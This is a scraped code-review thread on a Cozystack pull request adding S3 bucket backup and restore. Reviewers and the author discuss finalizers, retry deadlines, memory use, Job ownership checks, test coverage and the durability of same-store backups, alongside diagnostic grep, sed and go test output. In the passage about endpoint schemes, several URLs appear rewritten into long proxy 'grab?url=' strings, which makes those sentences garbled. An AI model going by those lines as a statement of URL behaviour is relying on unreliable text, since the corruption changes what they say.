internal/backupcontroller/restorejob_controller.go:29:const restoreJobFinalizer = "backups.cozystack.io/cleanup"
Backup and RestoreJob each hold a finalizer, BackupJob holds none, so deleting a running BackupJob drops the mirror Job through its controllerRef and leaves whatever it had already written under the UID prefix, referenced by nothing. Cancelling a long backup is an ordinary operator action, and the bucket it leaks into is the platform's, not the tenant's.
The collision case is also decidable before the mirror runs, which would save paying for a transfer that is then discarded, and errBucketArtifactNameCollision (:607) names no remedy, so the operator has to work out that the stale Backup must be deleted.
| // transient artifact write (BackupRef gates re-create), bounded by the | ||
| // same deadline as the wait helpers and surfaced through a condition | ||
| // and Event so a persistently-rejected write is not silent. | ||
| if strategyNotReadyDeadlineExceeded(j.Status.StartedAt) { |
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[MAJOR] the artifact-write retry budget is already spent by the mirror
The commit message says the retry is bounded "by the same deadline as the bucket wait helpers". The constant is the same, the clock is not.
$ sed -n '67p;302p;405p' internal/backupcontroller/bucketstrategy_controller.go
bucketMirrorDeadlineSeconds int64 = 2 * 60 * 60
fresh.Status.StartedAt = &now
if strategyNotReadyDeadlineExceeded(j.Status.StartedAt) {
$ grep -n 'StrategyNotReadyDeadline =' internal/backupcontroller/backupjob_controller.go
314:const StrategyNotReadyDeadline = 30 * time.Minute
StartedAt is stamped on the BackupJob's first reconcile (:291-302), before the mirror Job is built at :374, and that Job gets 7200s. So for any bucket whose mirror legitimately runs longer than 30 minutes this branch is already past its deadline the first time it is reached, and a single transient rejection of the Backup create (apiserver conflict, webhook timeout, etcd leader change) fails the BackupJob terminally, with the full copy left behind per the finding above. The five other uses of the helper gate waits that begin at StartedAt; this one gates work that begins after a Job that may have run for hours.
Anchoring it on the ArtifactWritePending condition's LastTransitionTime gives the retry its own clock.
| // longer contains. Returns the number of objects copied. restore marks the | ||
| // direction as a restore, where a zero-object source is refused (see below). | ||
| func mirror(ctx context.Context, from, to copySide, serverSide, deleteExtraneous, restore, allowEmptySource bool) (int, error) { | ||
| seen := map[string]struct{}{} |
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[MAJOR] the key set is built in every mode and read in one
$ grep -n 'seen\[' internal/s3mirror/s3mirror.go
372: seen[destKey] = struct{}{}
461: if _, ok := seen[key]; ok {
$ sed -n '423,425p' internal/s3mirror/s3mirror.go
if deleteExtraneous {
if err := deleteUnseen(ctx, to, seen); err != nil {
seen takes an entry per source object unconditionally, and its only reader sits behind deleteExtraneous. A backup and a to-copy restore therefore hold the whole key list for the length of the run and never look at it, against the 512Mi limit the chart ships (packages/system/backupstrategy-controller/values.yaml:87) on a path the same file documents for large buckets.
A few million small objects OOM-kills the pod, the Job burns its backoffLimit, and the next scheduled run repeats it; the only lever is a platform-wide values bump that widens every tenant's mirror pod. Populating the map only when deleteExtraneous is set costs one if.
The values.yaml:79 note about holding no "full dataset in memory" is true of the bytes and not of the keys.
| template: templates/strategy-bucket-default.yaml | ||
| # The endpoint keeps its scheme: the mirror reads a scheme-less endpoint | ||
| # as HTTPS, so an http:// SeaweedFS must survive the render as http://. | ||
| - matchRegex: |
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[MAJOR] almost nothing this PR adds is held by a test
Four things point the same way, and the last one is why the others matter.
This regex permits the failure its own comment forbids. The comment says an http:// SeaweedFS "must survive the render as http://", and ^https?:// matches https:// too: pin the endpoint to https://wrong-scheme.example in the template and the suite does not notice. Use equal against the shipped value, or pattern: ^http://.
Nothing asserts the blocks this PR adds to the shipped strategy, and deleting either of them wholesale is invisible:
$ grep -rc 'timeoutSeconds\|insecureSkipVerify\|caSecretKeyRef' tests/rendering_test.yaml
0
$ # delete the whole tls: block from templates/strategy-bucket-default.yaml, then:
$ helm unittest .
Tests: 23 passed, 23 total
$ # same after deleting the resources + timeoutSeconds blocks:
Tests: 23 passed, 23 total
The sibling suite in the same file is titled "Redis strategy: CA/TLS wiring, deadline, and fail-loud S3 refs", so the shape already exists here.
On the Go side six of the new guards are unheld. Each mutation below left the package green, and the tree was restored between them:
$ # one mutation at a time in internal/backupcontroller/bucketstrategy_controller.go,
$ # then: go test ./internal/backupcontroller/ -count=1
drop the reclaimFailedBucketBackup call at :447 ok 1.374s
purge hold in cleanupBucketBackup disabled ok 1.151s
deleting-Backup refusal in the restore path disabled ok 1.115s
artifact-write deadline guard at :405 -> if false ok 1.120s
SecurityContext dropped from the mirror container ok 1.149s
SecurityContext dropped from the cleanup container ok 1.124s
What does hold, checked the same way: TestReconcileBucketRefusesSourceEqualsDestination, TestReconcileBucketRestoreInPlaceVsToCopyJobArgs, TestBuildBucketMirrorPodAllowEmptySource, TestMirrorResumeSkipsAlreadyPresent and TestMirrorToCopyKeepsUnrelatedDestinationObjects all go red under a mutation of the line they cover.
And the e2e does not cover what the unit tests leave, because it does not run the shipped artifact: hack/e2e-chainsaw/bucket-backup/chainsaw-test.yaml drives a hand-rolled bucket-strategy-default under a bucket-test BackupClass, so cozy-default-bucket and the cozy-default route are exercised by nothing. It is also the one backup flow that skips the shared S3 preflight, the check that exists because accessGranted does not prove the credential works:
$ grep -rn 'cozy_backup_access_preflight' examples/backups/*/run-all.sh examples/backups/clickhouse/03-create-bucket.sh
examples/backups/mariadb/run-all.sh:59: cozy_backup_access_preflight "$NAMESPACE" "bucket-${BUCKET_NAME}-${BUCKET_USER}" 90
examples/backups/mongodb/run-all.sh:54: cozy_backup_access_preflight "$NAMESPACE" "bucket-${BUCKET_NAME}-${BUCKET_USER}" 90
examples/backups/postgres/run-all.sh:48: cozy_backup_access_preflight "$NAMESPACE" "bucket-${BUCKET_NAME}-backup" 90
examples/backups/clickhouse/03-create-bucket.sh:38: cozy_backup_access_preflight "$NAMESPACE" "bucket-${BUCKET_NAME}-backup" 90
hack/backup-access-preflight.bats:242 enumerates those four flows and asserts each one gates on it, and the Chainsaw check below it enumerates the same four suites. The bucket flow is in neither list.
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This is intentional and matches every other backup driver's example, not a bucket-specific gap.
Each backup example provisions its own repo bucket and applies a hand-rolled strategy pointing at it, under its own BackupClass — none reference the chart-shipped cozy-default-* strategy or the cozy-default route:
$ grep -h 'name:' examples/backups/{postgres/10-cnpg-strategy.yaml,mariadb/10-mariadb-strategy.yaml,bucket/10-bucket-strategy.yaml} | grep -- -strategy-default
name: cnpg-strategy-default
name: mariadb-strategy-default
name: bucket-strategy-default
$ for d in postgres mariadb bucket; do grep -A2 'kind: BackupClass' examples/backups/$d/15-backupclass.yaml | grep 'name:'; done
name: postgres-cnpg
name: mariadb-default
name: bucket-test
The reason is that the shipped cozy-default-* strategies target the shared, platform-managed cozy-backups system bucket (cozy-default-cnpg → s3://cozy-backups/..., cozy-default-mariadb → bucket: cozy-backups, cozy-default-bucket → the resolved cozy-backups name). Exercising them from a tenant e2e would write test data into the platform's shared repo, so every example provisions its own bucket and copies the strategy onto it — bucket does exactly the same (bktdst), as its BackupClass comment states.
So "cozy-default-bucket and the cozy-default route ship untested" is a project-wide property of how these e2e examples are structured — equally true for cozy-default-cnpg / cozy-default-mariadb — rather than a regression introduced by this PR. Binding bucket alone to cozy-default would make it the only driver polluting the shared cozy-backups bucket in CI and diverge from its siblings. End-to-end coverage of the shipped cozy-default route is worth a separate, project-wide follow-up.
On the preflight enumeration: the bucket flow doesn't call the shell cozy_backup_access_preflight helper because the mirror has its own in-driver readiness probe (waitForBucketReady in internal/s3mirror/s3mirror.go) — the same check the earlier accessGranted finding was withdrawn against. It gates inside the mirror Job rather than the example script, so there is no shell preflight for the bats list to enumerate.
| repoPrefix := joinRepoPrefix(rendered.Destination.Prefix, j.Name+"-"+string(j.UID)) | ||
| pod := buildBucketMirrorPod(bucketModeBackup, *rendered, backupAccessName(release), repoPrefix, false, false) | ||
|
|
||
| batchJob, err := r.ensureJobStrategyJob(ctx, j, j.Namespace, jobNameForBackupJob(j), |
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[MINOR] a same-named mirror Job from a previous run is adopted without an ownership check
ensureJobStrategyJob returns any Job that already carries the name:
$ sed -n '267,271p' internal/backupcontroller/jobstrategy_controller.go
existing := &batchv1.Job{}
err := r.Get(ctx, types.NamespacedName{Namespace: namespace, Name: name}, existing)
if err == nil {
return existing, nil
}
no IsControlledBy, no label check, in contrast with cleanupBucketBackup:1231, which refuses exactly this ("a same-named Job belonging to someone else ... must not let us drop the finalizer").
The helper is not yours and the other drivers live with it, but the UID-scoped prefix is new here and changes what adoption costs. Delete an ad-hoc BackupJob and recreate it under the same name while the old mirror Job is still being collected: the new run adopts the finished Job, sees JobComplete, and records a Backup pointing at the NEW uid prefix, where nothing was ever written. The stale-Backup guard added in the tip commit catches this only while the previous Backup still exists; if it was deleted, the run reports Succeeded over an empty snapshot and the empty-source refusal only surfaces it at restore time.
An IsControlledBy(existing, owner) beside the Get is the same two lines the cleanup path already has.
| logger.Debug("partial-backup reclaim Job not created (best-effort)", "backupjob", j.Name, "err", err) | ||
| } | ||
| } | ||
|
|
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[MINOR] the new ReclaimNotStarted Event is the only signal for a leaked copy and nothing holds it
Nothing holds the one signal that tells an operator a partial copy was left in the repo bucket:
$ # if r.Recorder != nil -> if false && r.Recorder != nil
$ go test ./internal/backupcontroller/ -count=1
ok github.com/cozystack/cozystack/internal/backupcontroller 1.143s
$ grep -rc ReclaimNotStarted internal/backupcontroller/*_test.go | grep -v ':0'
(no output)
The sibling ArtifactNotDeleted path it was modelled on deserves the same assertion.
The mirror's readiness preflight listed the application bucket under a NUL-byte prefix to force an empty listing, but SeaweedFS answers a list whose prefix carries a control byte with a 500 InternalError rather than an empty result. The 90s preflight therefore never succeeded on the shipped object store, and every backup and restore mirror Job failed to its backoff limit. Probe with a plain-ASCII prefix that is still unlikely to match real keys, and pin it with a store that emulates the backend rejecting a control-char prefix. Signed-off-by: Andrey Kolkov <[email protected]> Assisted-By: LLM
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…he bucket guards The mirror writes the full copy before the Backup artifact is recorded, so every terminal exit of the artifact-write branch - a name collision or a give-up after retries - now runs the same best-effort reclaim the failed-mirror branch already did, rather than leaving that copy unreferenced in the shared repo bucket. Clock the artifact-write retry on its own ArtifactWritePending condition instead of StartedAt: StartedAt is stamped before the mirror Job, which may legitimately run for hours, so a StartedAt-based deadline could already be spent the first time this branch runs and fail a single transient Backup-create rejection terminally. Populate the delete-extraneous key set only when it is read. A backup and a to-copy restore no longer hold the whole source key list for the length of the run, removing an OOM path on large buckets that the shipped memory limit and its own values note both point at. Refuse to adopt a same-named mirror Job this BackupJob does not own, so a finished Job left by a prior identically-named ad-hoc run cannot be read as complete and record a Backup for a prefix nothing wrote. Pin the shipped strategy's endpoint scheme, resource envelope, deadline and TLS block in helm-unittest, and add tests that go red under a mutation of each guard: the reclaim exits, the retry clock, the purge hold, the deleting-Backup restore refusal, the mirror-Job ownership check, the ReclaimNotStarted Event and the mirror and cleanup security contexts. Signed-off-by: Andrey Kolkov <[email protected]> Assisted-By: LLM
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…n extraneous object The bucket round-trip proved a deleted object is restored but never that an in-place restore deletes an object the snapshot does not name - the destructive half of the contract. Seed an object after the backup and assert the in-place restore purges it. Signed-off-by: Andrey Kolkov <[email protected]> Assisted-By: LLM
…estore path too The backup path already refuses a same-named mirror Job it does not own, but the restore path adopted one by name. A finished restore Job left by a prior identically-named RestoreJob - a Plan re-run or a retry whose own Job a background GC has not yet removed - would be read as JobComplete and mark the new RestoreJob Succeeded without a mirror ever running for the current target, a green restore that never happened. Apply the same ownership check after ensureJobStrategyRestoreJob and pin it with a test symmetric to the backup one. Signed-off-by: Andrey Kolkov <[email protected]> Assisted-By: LLM
…artial copy on delete A BackupJob carried no finalizer, so deleting one mid-mirror dropped its mirror Job through the ownerRef and left whatever it had already written under this run's prefix in the shared repo bucket, referenced by nothing. Cancelling a long backup is an ordinary operator action and the bucket it leaks into is the platform's, not the tenant's. Hold a Bucket BackupJob with a finalizer once the mirror is about to write, stashing the repo coordinates on the object so the reclaim survives the strategy or app being gone. On delete, reclaim the partial copy unless a Backup was already recorded (whose objects cleanup already owns), then clear the finalizer so the delete proceeds. The reclaim Job cannot be owner-referenced to the object being deleted - GC would remove it before it runs - so it self-deletes via TTL, and reclaim is best-effort so a broken purge never wedges the deletion. Only the Bucket driver adds the finalizer; the generic reconcile hands off to it and otherwise stops reconciling a BackupJob under deletion. Signed-off-by: Andrey Kolkov <[email protected]> Assisted-By: LLM
IvanHunters
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Verdict
NOT LGTM
The reclaim machinery is real progress, and every finding from the last round is closed on the code. What blocks: the delete-time reclaim's only production entrypoint is held by no test, a repo purge that keeps failing loops in silence, one transient apiserver error on the access path is terminal, and the reclaim itself can be outrun or reaped before it finishes.
Findings
- [MAJOR]
internal/backupcontroller/backupjob_controller.go:60, the finalizer handler's only call site is held by no test
- [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:1383, a repeatedly failing repo purge retries with no Event and no condition
- [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:381, one transient error on the access path is terminal, and the precondition deadline still rides StartedAt
- [MAJOR]
internal/backupcontroller/bucketstrategy_controller.go:591, the delete-time reclaim can be outrun by the mirror, or reaped before it runs
- [MINOR]
examples/backups/bucket/run-all.sh:77, the new purge assertion fails open
- [MINOR]
internal/backupcontroller/bucketstrategy_controller.go:1344, the cleanup path uses the unrendered strategy image
Still open from my earlier rounds
[MAJOR] examples/backups/bucket/run-all.sh, the shipped artifact is still exercised by nothing (filed 17 Sep). The unit and chart half of that finding is closed this round: the endpoint assertion is an exact equal now, the TLS / resources / timeout blocks turn the suite red when deleted, and all six previously-unheld Go guards have named tests that fail under mutation. What remains is the part that made the others matter:
$ grep -n 'strategyRef' -A2 examples/backups/bucket/15-backupclass.yaml
14: strategyRef:
15- kind: BucketStrategy
16- name: bucket-strategy-default
$ grep -rn 'cozy_backup_access_preflight' examples/backups/*/run-all.sh examples/backups/clickhouse/03-create-bucket.sh
examples/backups/mongodb/run-all.sh:54: cozy_backup_access_preflight "$NAMESPACE" "bucket-${BUCKET_NAME}-${BUCKET_USER}" 90
examples/backups/mariadb/run-all.sh:59: cozy_backup_access_preflight "$NAMESPACE" "bucket-${BUCKET_NAME}-${BUCKET_USER}" 90
examples/backups/postgres/run-all.sh:48: cozy_backup_access_preflight "$NAMESPACE" "bucket-${BUCKET_NAME}-backup" 90
examples/backups/clickhouse/03-create-bucket.sh:38: cozy_backup_access_preflight "$NAMESPACE" "bucket-${BUCKET_NAME}-backup" 90
The e2e drives a hand-rolled bucket-strategy-default under a bucket-test BackupClass, so cozy-default-bucket and the cozy-default route ship untested; and hack/backup-access-preflight.bats:242 enumerates four flows that must gate on the shared S3 preflight, with bucket in neither that list nor the Chainsaw one below it.
Closed since the last round
All seven, each checked by reverting the guard and watching a named test go red. The seen map is the one fix nothing pins: reverting it to unconditional population leaves go test ./internal/s3mirror/ green.
Caveats
E2E (in-tree)was still running onc3a1deb, so nothing has exercised this head end to end yet.Require API owner review for sizeable API changesis red here; its log fails only onCheck for an API owner approval(API_OWNERS: lllamnyp kvaps), so it is a merge gate rather than a code defect.- The SeaweedFS 500-on-control-byte premise behind the
waitForBucketReadyprefix change is the commit's own claim; no SeaweedFS oracle was run, only the in-memory fake. Live admission and COSI grant timing are out of scope for a static pass.
| // copy a cancelled run may have written into the shared repo bucket and then | ||
| // clear the finalizer. Other drivers add none, so a delete is already in | ||
| // progress and there is nothing to do. | ||
| if !j.DeletionTimestamp.IsZero() { |
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[MAJOR] the finalizer handler's only call site is held by no test
bucketBackupFinalizer is removed in exactly one place, bucketstrategy_controller.go:595 inside finalizeBucketBackupJob, and that function is reached from this branch only:
$ grep -rn 'RemoveFinalizer' internal/ cmd/ | grep -v _test.go | grep bucket
internal/backupcontroller/bucketstrategy_controller.go:595: controllerutil.RemoveFinalizer(j, bucketBackupFinalizer)
Both new tests call finalizeBucketBackupJob directly (bucketstrategy_controller_test.go:1288, :1318), so the dispatch itself is never exercised. Neutralise the whole branch and the package stays green:
$ sed -i.bak 's/if !j.DeletionTimestamp.IsZero() {/if false {/' internal/backupcontroller/backupjob_controller.go
$ go test ./internal/backupcontroller/ -count=1
ok github.com/cozystack/cozystack/internal/backupcontroller 2.337s
$ mv internal/backupcontroller/backupjob_controller.go.bak internal/backupcontroller/backupjob_controller.go
Placement is load-bearing: this branch sits directly above the terminal-phase early return at :72, and nothing clears the finalizer on success, so every Bucket BackupJob that reached the mirror carries it for life. Swap those two, or lose the branch in a later refactor, and every Succeeded Bucket BackupJob becomes undeletable and holds up its namespace's deletion, with the suite still green. A Reconcile-level case (deleting, Succeeded, finalizer present) asserting the finalizer is gone would hold it.
| return ctrl.Result{}, nil | ||
| case batchv1.JobFailed: | ||
| _ = r.deleteBucketCleanupJob(ctx, job) | ||
| logger.Debug("Bucket cleanup Job failed; retrying", "backup", backup.Name) |
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[MAJOR] a repeatedly failing repo purge retries with no Event and no condition
On JobFailed the cleanup Job is deleted and the reconcile requeues at 5s; the next pass recreates it, and nothing bounds the cycle. The only trace is logger.Debug, which is V(1).Info (velerostrategy_controller.go:44) and suppressed at the shipped backupStrategyController.debug: false.
The Event that exists for exactly this case is not reachable from here. Both enumerations, run on this head:
$ grep -n 'Recorder\.Eventf' internal/backupcontroller/bucketstrategy_controller.go | cut -c1-96
448: r.Recorder.Eventf(j, corev1.EventTypeWarning, "ArtifactWritePending", "mirror completed
527: r.Recorder.Eventf(j, corev1.EventTypeWarning, "ReclaimNotStarted", "partial backup copy un
1435: r.Recorder.Eventf(backup, corev1.EventTypeWarning, "ArtifactNotDeleted", "left objects un
$ grep -n 'releaseBucketCleanup(' internal/backupcontroller/bucketstrategy_controller.go
1325: return r.releaseBucketCleanup(ctx, backup, snapshot.RepoPrefix, "strategy CR is gone"), nil
1339: return r.releaseBucketCleanup(ctx, backup, snapshot.RepoPrefix, "namespace is terminating"), nil
1342: return r.releaseBucketCleanup(ctx, backup, snapshot.RepoPrefix, fmt.Sprintf("cannot project credentials: %v", perr)), nil
1354: return r.releaseBucketCleanup(ctx, backup, snapshot.RepoPrefix, fmt.Sprintf("cannot create cleanup Job: %v", cerr)), nil
1432:func (r *BackupReconciler) releaseBucketCleanup(ctx context.Context, backup *backupsv1alpha1.Backup, prefix, reason string) ctrl.Result {
ArtifactNotDeleted fires only from releaseBucketCleanup, and all four of its call sites sit upstream of this switch. A cleanup Job that is created cleanly and whose Pod then fails - rotated cozy-backups credentials, a moved endpoint, a deleted repo bucket - reaches none of them, and no condition is written on the Backup either.
What the tenant sees: kubectl delete backup hangs in Terminating with nothing to read, while a Job and Pod pair churns in the namespace every 5 seconds. Emit ArtifactNotDeleted after a few consecutive cleanup-Job failures, or release on a deadline clocked from the Backup's deletionTimestamp.
| // Provision (idempotently) the read-only BucketAccess the mirror reads | ||
| // the source bucket through, then gate on the COSI grant. | ||
| access, err := r.ensureBucketAccess(ctx, j.Namespace, backupAccessName(release), claim, deriveAccessClassName(claim.Spec.BucketClassName, true)) | ||
| if err != nil { |
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[MAJOR] one transient error on the access path is terminal, and the precondition deadline still rides StartedAt
Two problems on the same path, both about treating a transient state as final.
Any error out of ensureBucketAccess - a flaky Get on bucketaccesses, a 500 on the SSA patch, a webhook timeout - fails the run terminally, while the sibling precondition twenty lines above treats the same class of error as retryable:
$ sed -n '352,355p;379,385p' internal/backupcontroller/bucketstrategy_controller.go
claim := &buckettypes.BucketClaim{}
claimErr := r.Get(ctx, types.NamespacedName{Namespace: j.Namespace, Name: bucketReleaseName(release)}, claim)
if claimErr != nil && !apierrors.IsNotFound(claimErr) {
return ctrl.Result{}, claimErr
// the source bucket through, then gate on the COSI grant.
access, err := r.ensureBucketAccess(ctx, j.Namespace, backupAccessName(release), claim, deriveAccessClassName(claim.Spec.BucketClassName, true))
if err != nil {
return r.markBackupJobFailed(ctx, j, fmt.Sprintf("failed to provision source BucketAccess: %v", err))
}
if !access.Status.AccessGranted {
return r.requeueBucketWaiting(ctx, j, "SourceAccessPending", fmt.Sprintf("source BucketAccess %q not granted yet", access.Name))
A terminal phase is never revisited, so one apiserver hiccup during a control-plane upgrade permanently fails that night's scheduled backup. Only the deliberate "exists but is not managed by the driver" refusal inside ensureBucketAccess is genuinely terminal; the transport errors around it are not. The restore path has the same shape at :932, with markRestoreJobFailed on the same class of error.
Second, the deadline fix from the last round landed on the artifact-write branch only. The precondition wait still clocks off StartedAt:
$ sed -n '632,636p' internal/backupcontroller/bucketstrategy_controller.go
func (r *BackupJobReconciler) requeueBucketWaiting(ctx context.Context, j *backupsv1alpha1.BackupJob, reason, message string) (ctrl.Result, error) {
logger := getLogger(ctx)
if strategyNotReadyDeadlineExceeded(j.Status.StartedAt) {
return r.markBackupJobFailed(ctx, j, fmt.Sprintf("%s (not satisfied within %s)", message, StrategyNotReadyDeadline))
}
The preconditions are re-evaluated on every poll, ahead of the Job poll, and the mirror Job is allowed bucketMirrorDeadlineSeconds (2h) against StrategyNotReadyDeadline (30m). For a bucket whose mirror legitimately runs past 30 minutes, a precondition that goes unsatisfied even once - a re-issued grant, a rewritten claim status - is terminal on its first evaluation, with no grace period. markBackupJobFailed does not stop the mirror Job and no reclaim runs on that exit, so the mirror goes on to write a full copy nothing references. The per-branch clock you added for ArtifactWritePending is the same fix.
| // objects (cleanupBucketBackup reclaims them), so only an in-flight run can have | ||
| // stranded a copy. Reclaim is best-effort - the finalizer is always removed, so | ||
| // a broken reclaim cannot wedge the deletion. | ||
| func (r *BackupJobReconciler) finalizeBucketBackupJob(ctx context.Context, j *backupsv1alpha1.BackupJob) (ctrl.Result, error) { |
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[MAJOR] the delete-time reclaim can be outrun by the mirror, or reaped before it runs
Both reviewing passes reached this independently. finalizeBucketBackupJob creates the reclaim Job and clears the finalizer in the same call, and nothing stops or waits for the mirror:
$ grep -n 'r\.Delete(ctx' internal/backupcontroller/bucketstrategy_controller.go
1392: return client.IgnoreNotFound(r.Delete(ctx, job, &client.DeleteOptions{PropagationPolicy: &policy}))
That one site deletes cleanup Jobs; the mirror Job is only collected by GC cascading from the BackupJob, which the finalizer was holding until this line. So the mirror Pod is still alive - and still PUTting - while the reclaim lists the prefix, and whatever lands after the listing pass stays in cozy-backups referenced by nothing. The Backup-delete path already knows this hazard and holds its purge while a restore Job is Active > 0 (restoreJobActiveForBackup); the cancel path has no equivalent.
The second way it does not survive is the shared Job name:
$ grep -n '\-reclaim"' internal/backupcontroller/bucketstrategy_controller.go
57: bucketBackupFinalizer = "backups.cozystack.io/bucket-reclaim"
510: desired := buildJobStrategyBatchJob(j.Namespace, j.Name+"-reclaim", map[string]string{bucketLabelMode: bucketModeCleanup}, pod)
619: desired := buildJobStrategyBatchJob(j.Namespace, j.Name+"-reclaim", map[string]string{bucketLabelMode: bucketModeCleanup}, pod)
:510 is owner-referenced to the BackupJob and carries no TTL; :619 is unowned with a TTL, and both swallow AlreadyExists. Delete a Failed BackupJob while its failure-path reclaim Job is still pulling its image: the delete-time reclaim sees AlreadyExists and returns quietly, warnReclaimNotStarted is skipped because that error is filtered out, the finalizer comes off, and GC removes the pending owned Job before its Pod ever ran. The partial copy stays behind with no Event and nothing left in the cluster naming it.
Deleting the mirror Job and requeueing until its Pods are gone fixes the first; adopting an existing -reclaim Job, or giving the delete-time one its own name, fixes the second.
| [ "$GOT" = "$SENTINEL_VALUE" ] || { echo -e "${RED}in-place restore mismatch: got '$GOT'${NC}" >&2; exit 1; } | ||
| # The extraneous object must be gone: the in-place restore purged what the | ||
| # snapshot did not name. mc stat exits non-zero when the object is absent. | ||
| if mc stat --insecure "src/$SRC_BUCKET/$EXTRANEOUS_KEY" >/dev/null 2>&1; then |
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[MINOR] the new purge assertion fails open
mc stat --insecure "src/$SRC_BUCKET/$EXTRANEOUS_KEY" >/dev/null 2>&1 reads every non-zero exit as "the object is absent", so a broken alias, an expired session, a wrong endpoint or a transient network error all pass as a successful purge. This assertion is the script's only proof of the destructive half of the in-place contract, which is what makes failing open expensive here: distinguish a real NotFound from any other mc failure, or assert the object count under the prefix instead.
| if perr := ProjectBackupCredentials(ctx, r.Client, r.CredentialsConfig, backup.Namespace); perr != nil { | ||
| return r.releaseBucketCleanup(ctx, backup, snapshot.RepoPrefix, fmt.Sprintf("cannot project credentials: %v", perr)), nil | ||
| } | ||
| pod := buildBucketCleanupPod(snapshot, strategy.Spec.Template.Image) |
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[MINOR] the cleanup path uses the unrendered strategy image
buildBucketCleanupPod(snapshot, strategy.Spec.Template.Image) passes the image straight off the CR, while the backup and restore paths both run the template through renderBucketTemplate (:242), which templates every string field of the struct. A strategy whose image carries a template expression therefore backs up and restores fine and then wedges every Backup deletion on an InvalidImageName Pod - and by the finding above, that wedge is silent. Render the image here too, or document the field as literal-only.
…nup and access paths Bound the cleanup retry loop: a cleanup Job whose Pod keeps failing (rotated credentials, moved endpoint, deleted repo bucket) churned a Job/Pod pair every 5s forever with the Backup stuck Terminating and only a debug log to read. Once the Backup has been deleting past the deadline, release it - which surfaces the ArtifactNotDeleted Event - instead of retrying silently. Requeue a transient error on the access path instead of failing the run terminally: only a same-named BucketAccess owned by someone else is genuinely terminal, while a flaky Get, a 500 on the SSA patch or a webhook timeout must retry. The restore path had the same shape. A terminal phase is never revisited, so one apiserver hiccup during a control-plane upgrade would otherwise permanently fail that night's scheduled backup. Clock the precondition wait on its own PreconditionPending condition rather than StartedAt, which also starts the multi-hour mirror deadline: a precondition that goes unsatisfied once after a long-running mirror (a re-issued grant, a rewritten claim status) was terminal on its first evaluation with no grace. The condition is dropped once the preconditions pass, so a later flap gets a fresh window. Stop the mirror before the delete-time reclaim, and give that reclaim its own name. finalizeBucketBackupJob now deletes the mirror Job and holds the finalizer until it is gone, so the purge cannot list the prefix while a mirror pod is still writing and leave a residual copy. The delete-time reclaim Job no longer shares the failure-path reclaim's name, so it cannot no-op on AlreadyExists against a pending owned Job that GC then removes before its Pod ran. Pin the finalizer dispatch branch with a Reconcile-level test (a deleting, Succeeded Bucket BackupJob must clear its finalizer, or it wedges its namespace), document the strategy image as literal-only (the Backup-cleanup Job consumes it unrendered), and make the e2e purge assertion fail loud on any mc error that is not a genuine not-found. Signed-off-by: Andrey Kolkov <[email protected]> Assisted-By: LLM
Timofei Larkin (lllamnyp)
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Requesting changes — the default destination puts the backup in the same failure domain as the source
First, credit where it is due: this is careful work. The reclaim finalizer, the UID-scoped repo prefix, the cleanup-vs-restore hold, the refusal of an unowned mirror Job, and the decision to build on minio-go rather than pull an AGPL client into the image are all the right calls, and the test coverage that came with them is real. My concern is not with any of that. It is one level up, and it is about where the bytes land.
Where a backed-up bucket's objects go today
templates/strategy-bucket-default.yaml renders cozy-default-bucket with destination.bucket and destination.endpoint taken from the backupstrategy-controller.bucketName and backupstrategy-controller.endpoint helpers, and its credentials from cozy-backups-creds. Those are the same helpers and the same projected Secret that CNPG, Etcd, MariaDB, FoundationDB and the Velero BSL use — they resolve to the platform's cozy-backups bucket in tenant-root. The source side takes its coordinates from the application's COSI BucketInfo, which points at the same SeaweedFS S3 service. templates/backupclass-default.yaml binds Kind: Bucket into cozy-default, so this is what every tenant bucket gets out of the box.
So the shipped default copies a tenant's objects from one bucket in the platform SeaweedFS into another bucket in the same SeaweedFS — same deployment, same volume servers, same underlying PVCs. Three things in the PR confirm this is the intended shape rather than an accident of defaults:
- The
Buckettype doc inapi/backups/strategy/v1alpha1/bucket_types.gostates it directly: the mirror Job "writes to the platform cozy-backups bucket under a per-release prefix". reconcileBucketneeds a guard against backing the repository up into itself, becausecozy-backupsis itself a routedapps.cozystack.io/Bucket. That failure mode only exists when the repository and its subjects are peers in one store.s3mirror.gocomputessameEndpoint := hostOf(app.endpoint) == hostOf(repo.endpoint)and gatesserverSideCopyon it, so a same-store copy where bytes never leave the object store is a designed-for path.
Why that is the blocker
For the database strategies, cozy-backups is a sound destination: a Postgres dump in object storage genuinely survives the database's PVC dying, because those are different failure domains. For a bucket, that reasoning does not hold. A copy of a bucket's objects, sitting on the same disks as the original, does not survive anything that takes the object store with it. Whatever the platform loses, it loses both copies.
That leaves the feature covering exactly one scenario: logical loss, where a tenant or a script deletes or overwrites objects and the store itself is healthy. examples/backups/bucket/90-scenario.md frames it that way ("Scenario: recover a deleted object from a bucket backup"), and for that scenario the mechanism works. But the PR does not draw that line anywhere. There is no mention of off-site, off-platform, external destination or disaster recovery in the diff, and the example README points production users the other way: "On a real cluster with the platform bucket present you would instead bind Kind: Bucket through the shipped cozy-default BackupClass and drop the local strategy." An operator reading this will reasonably believe their tenants' object data is backed up in the sense the word normally carries.
Worth weighing alongside this: for the logical-deletion case specifically, Cozystack already ships an in-store answer. The SeaweedFS chart provisions a -lock BucketClass with objectLockEnabled: true, COMPLIANCE retention mode and a 365-day default, and the bucket app exposes it as locking: true. That is opt-in at creation and not retrofittable to an existing bucket, so it is not a drop-in replacement — but it does mean the marginal value of a same-store mirror over what the platform can already do is thin. An off-platform destination is where this driver earns its keep.
The destination has to be user-provided, and the API has nowhere to put it
The durability argument only works if the destination is outside the platform's failure domain. That rules out the platform's own S3, and it also rules out an external S3 that the platform administrator stands up and configures — that is the same operator, frequently the same infrastructure, and it makes the cluster admin responsible for procuring and running durable storage on every tenant's behalf. The bucket that makes this feature meaningful is one the user already has and controls: their own account at another provider, with their own credentials.
